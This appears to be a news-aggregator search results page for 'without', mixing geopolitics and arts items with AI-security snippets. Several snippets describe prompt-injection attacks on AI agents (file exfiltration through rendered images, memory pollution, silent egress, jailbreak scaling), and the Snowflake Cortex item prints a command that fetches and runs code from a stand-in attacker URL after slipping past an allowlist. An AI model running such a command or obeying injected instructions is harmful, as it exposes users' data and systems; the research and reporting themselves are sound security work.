Results for “without”

arXiv (research papers) Brian Crawford SI

Automatically Attacking Software Reverse Engineering AI Agents

Software tools for reverse engineering executable binary files, such as Ghidra, enable malware analysts to safely conduct robust static analysis without having access to original source code. Coupled with the analytic power of large language models (LLM), agentic systems enabled with tools, such as GhidraMCP, can allow analysts to automate a previously human driven process. Although this automation can increase the productivity of a single malware analyst, it also introduces…

Read at arXiv (research papers)

Simon Willison SI

Microsoft Copilot Cowork Exfiltrates Files

Microsoft Copilot Cowork Exfiltrates Files The biggest challenge in designing agentic systems continues to be preventing them from enabling attackers to exfiltrate data. In this case Microsoft Copilot Cowork (yes, that's a real product name) was allowing agents to send emails to the user's own inbox without approval... but those messages were then displayed in a way that could leak data to an attacker via rendered images: Because these messages can contain external images…

Read at Simon Willison

arXiv (research papers) Igor Bogdanov SI

FORGE: Self-Evolving Agent Memory With No Weight Updates via Population Broadcast

Can LLM agents improve decision-making through self-generated memory without gradient updates? We propose FORGE (Failure-Optimized Reflective Graduation and Evolution), a staged, population-based protocol that evolves prompt-injected natural-language memory for hierarchical ReAct agents. FORGE wraps a Reflexion-style inner loop, where a dedicated reflection agent (using the same underlying LLM, no distillation from a stronger model) converts failed trajectories into reusable…

Read at arXiv (research papers)

The Guardian Vietnam Philip Oltermann

‘I shared a single bed with my mother for three years’: Sung Tieu on her monument to immigrant workers in Venice

At the German pavilion, the artist has re-created the housing estate where she grew up to tell the forgotten history of migrants, including her parents, hired under a socialist agreement between East Germany and Vietnam – then abandoned An air of civilisational wipeout hangs over the Gehrenseestrasse complex, an abandoned housing estate on the north-eastern outskirts of Berlin, where the city still looks shabby without the chic. The insides of the nine prefabricated blocks…

Read at The Guardian Vietnam

arXiv (research papers) Yassin H. Rassul SI

AgentShield: Deception-based Compromise Detection for Tool-using LLM Agents

Defenses against indirect prompt injection (IPI) in tool-using LLM agents share two structural weaknesses. First, they all attempt to prevent attacks rather than detect the compromises that slip through. Second, they have only been evaluated in English, leaving users of low-resource languages such as Kurdish and Arabic without tested protection. This paper addresses both gaps with AgentShield, a deception-based detection framework that places three layers of traps inside the…

Read at arXiv (research papers)

arXiv (research papers) Wonbae Kim SI

SecureMCP: A Policy-Enforced LLM Data Access Framework for AIoT Systems via Model Context Protocol

The deployment of Large Language Model (LLM)-generated SQL queries in Artificial Intelligence of Things (AIoT) systems introduces critical security risks, as prompt injection attacks can manipulate LLMs into producing unauthorized queries that expose sensitive data or execute destructive operations. Existing NL2SQL research focuses on query accuracy, while MCP server implementations provide only SQL-level protections without fine-grained role-based access control. This paper…

Read at arXiv (research papers)

Journal articles (OpenAlex) Gonzalo Croci, Sérgio Britto Lima, Rodrigo Serrano–Berthet et al. · International journal of law, crime and justice Geopolitics

Crime without punishment: Understanding impunity related to organized crime

Read at Journal articles (OpenAlex)

arXiv (research papers) Kemal Bicakci SI

Making AI-Assisted Grant Evaluation Auditable without Exposing the Model

Public agencies are beginning to consider large language models (LLMs) as decision-support tools for grant evaluation. This creates a practical governance problem: the model and scoring rubric should not be exposed in a way that allows applicants to optimize against them, yet the evaluation process must remain auditable, contestable, and accountable. We propose a TEE-based architecture that helps reconcile these requirements through remote attestation. The architecture…

Read at arXiv (research papers)

arXiv (research papers) Yanzhen Lu SI

A Control Architecture for Training-Free Memory Use

Prompt-injected memory can improve reasoning without updating model weights, but it also creates a control problem: retrieved content helps only when it is applied in the right state. We study this problem in a strict training-free setting and formulate it as applicability control: when to trigger a memory-assisted second pass, when to trust it, and how to maintain the memory bank over time. Our method combines uncertainty-based routing, confidence-based selective…

Read at arXiv (research papers)

Journal articles (OpenAlex) Fumihiko Yoshida, Kokoro Nishiyama · Journal for Peace and Nuclear Disarmament Geopolitics

Arms Control Was Invented to Reassure Each Other That the Intentions Are Not Aggressive: An Interview for Dr. George Perkovich, Carnegie Endowment for International Peace

Dr. George Perkovich, the Japan Chair for a World Without Nuclear Weapons and a senior fellow in the Nuclear Policy Program at the Carnegie Endowment for International Peace, has long worked on nuclear issues and is currently leading a study on nuclear signaling in the twenty-first century. This interview examines Perkovich’s assessment of the future of nuclear arms control and the challenges facing the global nuclear order amid growing geopolitical uncertainty. Perkovich…

Read at Journal articles (OpenAlex)

arXiv (research papers) Geert Trooskens XY.AI Labs, Palo Alto, CA SI

Compiled AI: Deterministic Code Generation for LLM-Based Workflow Automation

We study compiled AI, a paradigm in which large language models generate executable code artifacts during a compilation phase, after which workflows execute deterministically without further model invocation. This paradigm has antecedents in prior work on declarative pipeline optimization (DSPy) and hybrid neural-symbolic planning (LLM+P); our contribution is a systems-oriented study of its application to high-stakes enterprise workflows, with particular emphasis on…

Read at arXiv (research papers)

Journal articles (OpenAlex) Kristin Ven Bruusgaard · Defense and Security Analysis Geopolitics

Losing without using: Russian conventional defeat in Ukraine and nuclear weapons

This paper examines how the public record of events during the Fall 2022 Crisis fits with what was previously known, or thought to be known, about the Russian threshold to nuclear use. In light of the events during the 2022 crisis, the paper describes three distinct hypotheses about that threshold: a school of state existence, a school of desperation, and a school of escalate-to-deescalate. Even though neither school can be completely validated though the public record on…

Read at Journal articles (OpenAlex)

Latinoamérica21 Constanza Mazzina Geopolitics

The dragon’s speed: When today’s haste becomes tomorrow’s mortgage

The urgency to carry out large-scale projects without rigorous oversight opens the door to costly decisions that compromise long-term development and sovereignty. O post The dragon’s speed: When today’s haste becomes tomorrow’s mortgage apareceu primeiro em Latinoamérica 21.

Read at Latinoamérica21

Journal articles (OpenAlex) Diego Leiva Van De Maele · International Affairs Geopolitics

Explaining the belated US response to China's advances in Latin America

Abstract China has become a major actor in Latin America. It has increased its influence within the region at an unprecedented pace without facing significant contestation from the United States during most of the first 20 years of the twenty-first century. The US response came during Donald Trump's first administration (2017–2021), when it adopted significant measures to counterbalance against China's regional advances. Which factors explain Washington's belated response?…

Read at Journal articles (OpenAlex)

OnCuba News OnCuba Staff

Uranga Collections: a home for Cuban collectors

Based in Old Havana, this local development project is dedicated to safeguarding the country’s heritage, “because without collecting, there is no history,” asserts its leader. La entrada Uranga Collections: a home for Cuban collectors se publicó primero en OnCubaNews English.

Read at OnCuba News

arXiv (research papers) Yechao Zhang SI

Mind Your HEARTBEAT! Claw Background Execution Inherently Enables Silent Memory Pollution

We identify a critical security vulnerability in mainstream Claw personal AI agents: untrusted content encountered during heartbeat-driven background execution can silently pollute agent memory and subsequently influence user-facing behavior without the user's awareness. This vulnerability arises from an architectural design shared across the Claw ecosystem: heartbeat background execution runs in the same session as user-facing conversation, so content ingested from any…

Read at arXiv (research papers)

Journal articles (OpenAlex) Tyler Hansen · International Review of Applied Economics Geopolitics

Does climate stabilization mean the end of economic growth? A critical assessment of the degrowth hypothesis

Prominent degrowth scholars claim that sustained economic degrowth in wealthy nations is a viable strategy, necessary condition, and/or inevitable outcome in efforts to address climate change. These claims—referred to here as the ‘degrowth hypothesis’—rest on two core arguments. First, societies cannot decouple CO₂ emissions from GDP quickly enough without degrowth. Second, renewable energy resources cannot sustain continued growth. This paper assesses these claims through a…

Read at Journal articles (OpenAlex)

Simon Willison SI

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human…

Read at Simon Willison

Inquirer Global Nation mareyes South China Sea

DFA: 1990 document on Scarborough from Chinese embassy ‘without value’

MANILA, Philippines – The 1990 document published by the Chinese Embassy in Manila disputing the Philippines’ territorial claims to the Scarborough Shoal is “without value,” the Department of Foreign Affairs (DFA) said on Monday. DFA Maritime Affairs Spokesperson Rogelio Villanueva Jr. made the remark two days after the Chinese embassy presented as “legal evidence” a

Read at Inquirer Global Nation

arXiv (research papers) Vanshaj Khattar SI

Amplification Effects in Test-Time Reinforcement Learning: Safety and Reasoning Vulnerabilities

Test-time training (TTT) has recently emerged as a promising method to improve the reasoning abilities of large language models (LLMs), in which the model directly learns from test data without access to labels. However, this reliance on test data also makes TTT methods vulnerable to harmful prompt injections. In this paper, we investigate safety vulnerabilities of TTT methods, where we study a representative self-consistency-based test-time learning method: test-time…

Read at arXiv (research papers)

arXiv (research papers) Mateusz Dziemian SI

How Vulnerable Are AI Agents to Indirect Prompt Injections? Insights from a Large-Scale Public Competition

LLM based agents are increasingly deployed in high stakes settings where they process external data sources such as emails, documents, and code repositories. This creates exposure to indirect prompt injection attacks, where adversarial instructions embedded in external content manipulate agent behavior without user awareness. A critical but underexplored dimension of this threat is concealment: since users tend to observe only an agent's final response, an attack can conceal…

Read at arXiv (research papers)

Rappler Bea Cupin South China Sea

PH dismisses Beijing’s South China Sea claims: Not based in fact, history, international law

The Department of Foreign Affairs says Manila has exercised sovereignty ‘consistently and without interruption’ over a shoal that Beijing has controlled access to since 2012

Read at Rappler

arXiv (research papers) Indranil Halder SI

Jailbreak Scaling Laws for Large Language Models: Polynomial-Exponential Crossover

Adversarial attacks can reliably steer safety-aligned large language models toward unsafe behavior. Empirically, we find that adversarial prompt-injection attacks can amplify attack success rate from the slow polynomial growth observed without injection to exponential growth with the number of inference-time samples. We first identify a minimal statistical mechanism for these two regimes by giving a small set of assumptions on the distribution of safe generation across…

Read at arXiv (research papers)

Latinoamérica21 María Villarreal Geopolitics

The Time for Just Transitions

The multiple transitions the region is undergoing will only be legitimate if they manage to confront the climate crisis without deepening inequality. O post The Time for Just Transitions apareceu primeiro em Latinoamérica 21.

Read at Latinoamérica21

Dialogue Earth (formerly Diálogo Chino) Jorge C. Carrasco Geopolitics

Latin America is entering the rush for rare earths

Brazil, Chile and Argentina have large deposits of elements that could help the transition to clean energy. Can they capitalise without big environmental sacrifices?

Read at Dialogue Earth (formerly Diálogo Chino)

Latinoamérica21 Inés Amézaga Feijoo Geopolitics

Democracy and Disorder

In a world that is reorganizing itself beyond the bounds of rules and oversight, democracies face the urgent challenge of resisting the advance of authoritarian leadership without renouncing their own limits. O post Democracy and Disorder apareceu primeiro em Latinoamérica 21.

Read at Latinoamérica21

arXiv (research papers) Qianxun Xu SI

SwitchCraft: Training-Free Multi-Event Video Generation with Attention Controls

Recent advances in text-to-video diffusion models have enabled high-fidelity and temporally coherent videos synthesis. However, current models are predominantly optimized for single-event generation. When handling multi-event prompts, without explicit temporal grounding, such models often produce blended or collapsed scenes that break the intended narrative. To address this limitation, we present SwitchCraft, a training-free framework for multi-event video generation. Our…

Read at arXiv (research papers)

Journal articles (OpenAlex) Sinan Levent · The Pacific Review Geopolitics

Japan’s continental turn in a multipolar Eurasia: connectivity and engagement with the Turkic world

This article argues that Japan is undertaking a continental turn that complements, rather than replaces, its Indo-Pacific orientation. Confronted with the erosion of the U.S.-led liberal order, supply-chain weaponisation, and maritime insecurity, Tokyo is recalibrating strategy through what may be called ‘connectivity as strategy’, using infrastructure, logistics, and standards to project influence without coercion. The Trans-Caspian Middle Corridor and pragmatic cooperation…

Read at Journal articles (OpenAlex)

arXiv (research papers) Qianlong Lan SI

Silent Egress: When Implicit Prompt Injection Makes LLM Agents Leak Without a Trace

Agentic large language model systems increasingly automate tasks by retrieving URLs and calling external tools. We show that this workflow gives rise to implicit prompt injection: adversarial instructions embedded in automatically generated URL previews, including titles, metadata, and snippets, can introduce a system-level risk that we refer to as silent egress. Using a fully local and reproducible testbed, we demonstrate that a malicious web page can induce an agent to…

Read at arXiv (research papers)

Older stories